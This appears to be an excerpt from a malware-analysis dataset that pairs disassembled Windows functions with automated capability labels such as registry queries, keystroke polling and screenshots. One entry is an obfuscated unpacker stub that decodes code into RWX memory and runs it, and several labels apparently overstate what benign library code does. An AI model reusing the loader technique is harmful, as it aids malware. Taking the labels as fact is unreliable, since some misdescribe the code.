joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d50378d
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x9c]
sub esp, 0x11c
mov eax, dword [0x6d520030]
xor eax, ebp
mov dword [ebp + 0x98], eax
mov eax, dword [ebp + 0xa4]
push ebx
push esi
push edi
mov edi, dword [sym.imp.advapi32.dll_RegEnumKeyA]
mov esi, 0x104
push esi
lea ecx, [ebp - 0x6c]
push ecx
xor ebx, ebx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0xa8]
push ebx
push eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ebx
call edi
test eax, eax
jne 0x6d503830
mov eax, dword [ebp - 0x80]
push dword [eax + 8]
inc dword [ebp - 0x74]
lea eax, [ebp - 0x6c]
push eax
call fcn.6d5143c1
pop ecx
pop ecx
test eax, eax
je 0x6d503819
test ebx, ebx
je 0x6d50380d
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.6d5143c1
pop ecx
pop ecx
test eax, eax
jle 0x6d503819
push ebx
call fcn.6d505895
pop ecx
lea eax, [ebp - 0x6c]
push eax
call fcn.6d505874
pop ecx
mov ebx, eax
push esi
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x74]
push dword [ebp - 0x78]
call edi
test eax, eax
je 0x6d5037da
xor edi, edi
cmp ebx, edi
jne 0x6d503834
xor eax, eax
jmp 0x6d5038a0
lea eax, [ebp - 0x70]
push eax
push 0x20019
push edi
push ebx
push dword [ebp - 0x78]
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
push ebx
test eax, eax
je 0x6d503863
call fcn.6d505895
pop ecx
cmp dword [ebp - 0x70], edi
je 0x6d503830
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
jmp 0x6d503830
call fcn.6d505895
pop ecx
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x6c]
push eax
push edi
push edi
push str.JavaHome
push dword [ebp - 0x70]
mov dword [ebp - 0x7c], esi
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
jne 0x6d503853
cmp dword [ebp - 0x70], edi
je 0x6d503896
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
lea eax, [ebp - 0x6c]
push eax
call fcn.6d505874
pop ecx
mov ecx, dword [ebp + 0x98]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d508259
add ebp, 0x9c
leave
ret
Function at 0x6d50555d
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
lea ebp, [esp - 0x214]
sub esp, 0x294
mov eax, dword [0x6d520030]
xor eax, ebp
mov dword [ebp + 0x210], eax
mov eax, dword [ebp + 0x21c]
push ebx
push esi
push edi
push 0x10
pop edi
mov dword [ebp - 0x78], eax
call fcn.6d5053ca
push 8
mov esi, eax
call fcn.6d50582d
mov ebx, eax
pop ecx
lea eax, [ebp + 0xd0]
push eax
push dword [ebp - 0x78]
mov dword [ebp - 0x80], ebx
call dword [sym.imp.kernel32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x6d5055c8
mov dword [ebx], eax
lea eax, [ebp + 0xfc]
mov dword [ebx + 4], eax
mov edi, dword [ebx + 4]
test edi, edi
je 0x6d5055cf
and dword [ebx + 4], 0
jmp 0x6d5055e4
xor eax, eax
jmp 0x6d5056af
lea eax, [ebp - 0x70]
push eax
push dword [ebx]
call dword [sym.imp.kernel32.dll_FindNextFileA]
neg eax
sbb edi, edi
lea eax, [ebp - 0x44]
and edi, eax
test edi, edi
je 0x6d505695
push edi
call fcn.6d507a10
pop ecx
cmp eax, 4
jl 0x6d5055bb
add eax, edi
cmp byte [eax - 4], 0x2e
jne 0x6d5055bb
add eax, 0xfffffffd
push 0x6d51982c
push eax
mov dword [ebp - 0x74], eax
call fcn.6d508270
pop ecx
pop ecx
test eax, eax
je 0x6d50562a
push 0x6d519828
push dword [ebp - 0x74]
call fcn.6d508270
pop ecx
pop ecx
test eax, eax
jne 0x6d5055bb
push 0x3b
push edi
call fcn.6d5093f0
pop ecx
pop ecx
test eax, eax
jne 0x6d5055bb
push dword [ebp - 0x78]
call fcn.6d507a10
push edi
mov ebx, eax
call fcn.6d507a10
mov dword [ebp - 0x74], eax
add eax, ebx
push eax
call fcn.6d50582d
lea ecx, [ebx - 1]
push ecx
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], eax
push eax
call fcn.6d5143c1
mov eax, dword [ebp - 0x74]
inc eax
push eax
push edi
mov edi, dword [ebp - 0x7c]
lea eax, [edi + ebx - 1]
push eax
call fcn.6d5143c1
mov ecx, dword [esi + 4]
add esp, 0x24
inc ecx
call fcn.6d505420
mov eax, dword [esi + 4]
mov ecx, dword [esi]
mov ebx, dword [ebp - 0x80]
mov dword [ecx + eax*4], edi
inc dword [esi + 4]
jmp 0x6d5055bb
push dword [ebx]
call dword [sym.imp.kernel32.dll_FindClose]
push dword [ebx + 4]
call fcn.6d505895
push ebx
call fcn.6d505895
pop ecx
pop ecx
mov eax, esi
mov ecx, dword [ebp + 0x210]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d508259
add ebp, 0x214
leave
ret

Function at 0x6d508259
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d520030]
jne 0x6d508263
repz ret
jmp fcn.6d50e721
Function at 0x6d5143c1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x6d5143d0
pop dword [ebp - 0x34]
mov eax, 0x6d5143d0
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x41044092
add dword [ebp - 0x44], 0xd4e04b9
mov dword [ebp - 0x40], 0xa834c5d
add dword [ebp - 0x40], 0x27afffe8
mov dword [ebp - 0x3c], 0x18d76bdc
add dword [ebp - 0x3c], 0x3374d852
mov dword [ebp - 0x38], 0x764233f4
add dword [ebp - 0x38], 0x89bdcc0c
lea eax, [ebp - 0x44]
push eax
mov eax, 0x4bb25fce
sub eax, 0xde60df7e
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0xb77239a4
add dword [ebp - 0x44], 0xbd002fb2
mov dword [ebp - 0x40], 0xf6f093db
add dword [ebp - 0x40], 0x4a7bcd9a
mov dword [ebp - 0x3c], 0x7bc4d0cf
sub dword [ebp - 0x3c], 0x18556463
mov dword [ebp - 0x38], 0x672b68b7
sub dword [ebp - 0x38], 0x672b68b7
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0xc7825eaf
sub eax, 0x5a30de63
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x3df02
push 0
call eax
mov ecx, 0x52d0
xor ebx, ebx
add ebx, eax
mov esi, 0x6d526800
add esi, dword [ebp - 0x34]
mov edi, 0xafd50d5f
add edi, 0x3d66ec3
xor dword [ebp - 0x2c], eax
mov edx, dword [esi]
xor dword [ebp - 0x18], eax
sub edx, edi
sub dword [ebp - 0x24], 0xf8218c79
mov dword [ebx], edx
add ebx, 0xa185cace
add ebx, 0x5e7a3536
add esi, 0x19f9df27
sub esi, 0x19f9df23
loop 0x6d5144e3
add eax, 0x9ba557b7
add eax, 0x645be65c
xor ebx, ebx
add ebx, eax
add eax, 0xf16f22c0
sub eax, 0xf16f22bb
mov ecx, 0x6d500000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x403040
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x485008], 0x8088405
inc edx
mov dword [ebx + 0x485008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x4034a4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x485024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x40353c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x40351c
xor eax, eax
push ebp
push 0x403515
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403558
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40351c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x485024]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x485024], ax
mov esp, ebp
pop ebp
ret

Function at 0x404240
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x48804c], 0
je 0x4042a1
cmp word [0x488220], 0xd7b2
jne 0x404269
cmp dword [0x488228], 0
jbe 0x404269
mov eax, 0x48821c
call dword [0x488238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x485070
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4042c8
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x485034], 0
jne 0x4042bd
push 0
push 0x485068
push 0x485070
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x4064a8
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x40650e
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404634
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.0040305c
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x4064f8
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406515
lea eax, [ebp - 0x10]
call fcn.004043c4
ret

Function at 0x40bc50
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40bc89
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004044b4
jmp 0x40bc92
mov eax, ebx
mov edx, esi
call fcn.00404418
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40bc9c
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40bcbd
mov al, byte [esp]
jmp 0x40bcbf
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40c354
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40c1bc
mov eax, dword [0x487060]
cmp byte [eax], 0
je 0x40c3d0
mov eax, dword [0x486d40]
call fcn.00402e70
call fcn.00402cbc
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00409328
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40c418
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40c406
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x486cc0]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x488668]
call fcn.004058f8
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40ccc8
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40cd9e
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.0040445c
lea eax, [ebp - 8]
call fcn.004048d4
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404884
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40cd88
mov eax, ebx
call fcn.00402b30
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40cd81
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404884
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40cd6b
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40cdb0
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40cd6b
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40cd88
mov eax, dword [ebp - 0x10]
call fcn.00402b60
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40cda5
lea eax, [ebp - 8]
call fcn.004043c4
ret

Function at 0x40d378
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40d3dc
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00404634
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00408d78
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d3e3
lea eax, [ebp - 0xc]
call fcn.004043c4
ret
Function at 0x42260c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
lea ebx, [ebp - 0xc]
mov esi, 0x488888
cmp dword [esi], 0
jne 0x4226b2
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov edx, dword [0x488884]
mov dword [eax], edx
mov eax, dword [ebp - 8]
lea edx, [eax + 4]
mov eax, 0x485510
mov ecx, 2
call fcn.00402d50
mov edx, 0x4225e4
mov eax, dword [ebp - 8]
add eax, 5
call fcn.00422604
mov edx, dword [ebp - 8]
mov dword [edx + 6], eax
mov eax, dword [ebp - 8]
add eax, 0xa
mov dword [ebx], eax
mov eax, dword [ebx]
mov byte [eax], 0xe8
mov eax, dword [ebp - 8]
lea edx, [eax + 4]
mov eax, dword [ebx]
call fcn.00422604
mov edx, dword [ebx]
mov dword [edx + 1], eax
mov eax, dword [ebx]
mov edx, dword [esi]
mov dword [eax + 5], edx
mov eax, dword [ebx]
mov dword [esi], eax
add dword [ebx], 0xd
mov eax, dword [ebx]
sub eax, dword [ebp - 8]
cmp eax, 0xffc
jl 0x422679
mov eax, dword [ebp - 8]
mov dword [0x488884], eax
mov eax, dword [esi]
mov dword [ebp - 4], eax
mov eax, dword [esi]
mov dword [ebx], eax
mov eax, dword [ebx]
mov eax, dword [eax + 5]
mov dword [esi], eax
mov eax, dword [ebx]
mov edx, dword [ebp + 8]
mov dword [eax + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [eax + 9], edx
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x423c58
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x423c5e
ret

Function at 0x4261a0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x4261f1
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x4261d8
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x4261c8
jmp 0x4261f1
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x4261d9
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43c1c8
Capabilities:
Enumerate gui resources

Disassembly:
mov byte [eax + 0xc], 0
mov byte [eax + 0xd], 0
xor edx, edx
mov dword [eax + 4], edx
push eax
push 0x43c114
call sub.user32.dll_EnumWindows
ret

Function at 0x43c2e8
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x43c365
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.0043bd48
call sub.kernel32.dll_GetTickCount_1
mov ebx, eax
push 0
call sub.kernel32.dll_Sleep
call sub.kernel32.dll_GetTickCount_1
sub eax, ebx
cmp eax, 0x3e8
jbe 0x43c30d
lea ecx, [ebp - 4]
xor edx, edx
mov eax, esi
call fcn.0043b948
cmp dword [ebp - 4], 0
je 0x43c34f
push 0
push 9
mov eax, dword [ebp - 4]
call fcn.00404884
push eax
mov eax, dword [esi + 0x1c]
mov edx, dword [eax]
call dword [edx + 0xc]
push eax
call sub.user32.dll_WinHelpA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43c36c
lea eax, [ebp - 4]
call fcn.004043c4
ret

Function at 0x43f9b0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 9]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x488af4], 0
je 0x43faff
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x486fbc]
mov edx, dword [edx]
xor al, byte [edx + 0xb4]
je 0x43faff
mov eax, dword [0x488af8]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x488af4]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x43face
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x488af4]
call fcn.0041b270
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x43fac6
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1a6], 0
je 0x43fac6
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x43fac6
mov eax, dword [ebp - 0x14]
call fcn.004487f0
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x43fac6
push ebp
call fcn.0043f96c
pop ecx
test al, al
jne 0x43fac6
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xa0]
cmp eax, dword [ebp - 0x14]
jne 0x43fa82
mov eax, dword [ebp - 0x14]
call fcn.004472e8
dec eax
jle 0x43fac6
mov byte [ebp - 1], 1
lea eax, [ebp - 9]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbd
call fcn.00403840
cmp byte [ebp - 1], 0
je 0x43fac6
push dword [ebp - 5]
push dword [ebp - 9]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x43fac6
mov edx, dword [ebp - 0x14]
mov eax, dword [0x488af8]
call fcn.0043f138
inc edi
dec ebx
jne 0x43fa15
mov eax, dword [0x488af8]
cmp dword [eax + 8], 0
jle 0x43fae6
mov eax, dword [0x488af8]
call fcn.0043f1c8
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x43faff
push ebp
mov eax, dword [ebp - 0x18]
call fcn.0043f7d4
pop ecx
test al, al
jne 0x43faff
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x443100
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
test byte [esi + 0x1c], 0x10
je 0x44314c
mov eax, esi
call fcn.00459328
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x44314c
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x250], 0
je 0x44314c
mov ecx, ebx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x250]
mov edx, esi
mov edi, dword [eax]
call dword [edi + 0x24]
test al, al
jne 0x44328b
mov eax, dword [ebx]
cmp eax, 0x100
jb 0x44318c
cmp eax, 0x108
ja 0x44318c
mov eax, esi
call fcn.00459328
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x443282
mov ecx, ebx
mov edx, esi
mov eax, dword [ebp - 0x14]
mov edi, dword [eax]
call dword [edi + 0xf0]
test al, al
jne 0x44328b
jmp 0x443282
mov eax, dword [ebx]
cmp eax, 0x200
jb 0x44326b
cmp eax, 0x20a
ja 0x44326b
test byte [esi + 0x50], 0x80
jne 0x4431be
sub eax, 0x203
je 0x4431bb
sub eax, 3
je 0x4431bb
sub eax, 3
jne 0x4431be
sub dword [ebx], 2
mov eax, dword [ebx]
sub eax, 0x200
je 0x4431d2
dec eax
je 0x4431e7
dec eax
je 0x443204
dec eax
je 0x4431e7
jmp 0x44320b
mov ecx, ebx
mov eax, dword [0x486fbc]
mov eax, dword [eax]
mov edx, esi
call fcn.00462cd4
jmp 0x443282
cmp byte [esi + 0x5d], 1
jne 0x4431fd
mov eax, esi
mov si, 0xffed
call fcn.00403840
jmp 0x44328b
or word [esi + 0x54], 1
jmp 0x443282
and word [esi + 0x54], 0xfffe
jmp 0x443282
mov eax, dword [0x488ab0]
cmp byte [eax + 0x20], 0
je 0x443282
mov eax, dword [0x488ab0]
cmp dword [eax + 0x1c], 0
je 0x443282
mov eax, dword [ebx]
mov edx, dword [0x488ab0]
cmp eax, dword [edx + 0x1c]
jne 0x443282
lea eax, [ebp - 0x114]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [ebx]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
call fcn.0045926c
mov byte [ebp - 0xc], al
mov ax, word [ebx + 4]
mov word [ebp - 0xa], ax
mov eax, dword [ebx + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, esi
mov si, 0xffc9
call fcn.00403840
jmp 0x44328b
cmp eax, 0xb00b
jne 0x443282
mov edx, dword [ebx + 8]
push edx
mov ecx, dword [ebx + 4]
mov edx, eax
mov eax, esi
call fcn.00441a14
mov edx, ebx
mov eax, esi
mov ecx, dword [eax]
call dword [ecx - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x446920
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x1f8], 0
je 0x44693c
cmp dword [esi + 4], 0
je 0x446969
test byte [ebx + 0x55], 1
jne 0x44695b
mov eax, ebx
call fcn.004454c0
test eax, eax
jne 0x44695b
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x446a79
mov edx, esi
mov eax, ebx
call fcn.00446444
jmp 0x446a79
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x446a72
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.004487f0
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.00443034
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.00446920
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.004487f0
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x446a79
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret